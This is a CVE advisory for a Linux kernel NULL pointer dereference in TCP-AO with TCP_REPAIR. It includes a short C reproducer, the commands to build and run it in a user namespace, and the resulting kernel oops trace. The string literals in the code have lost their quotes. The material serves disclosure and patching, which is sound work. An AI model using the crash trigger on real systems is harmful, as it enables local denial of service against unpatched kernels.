CVE-2025-39950

In the Linux kernel, the following vulnerability has been resolved:

net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled.

The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation.

Fix this by checking if skb is NULL before dereferencing it.

The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it.

int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1;

memset(&sockaddr,0,sizeof(sockaddr));
memset(&tcp_ao,0,sizeof(tcp_ao));

sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr.sin_family = AF_INET;

memcpy(tcp_ao.alg_name,cmac(aes128),12);
memcpy(tcp_ao.key,ABCDEFGHABCDEFGH,16);
tcp_ao.keylen = 16;

memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));

setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
sizeof(tcp_ao));
setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));

sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htobe16(123);

inet_aton(127.0.0.1, &sockaddr.sin_addr);

connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));

return 0; }

$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn

BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)

Affected Software

References

• https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838
• https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c
• https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa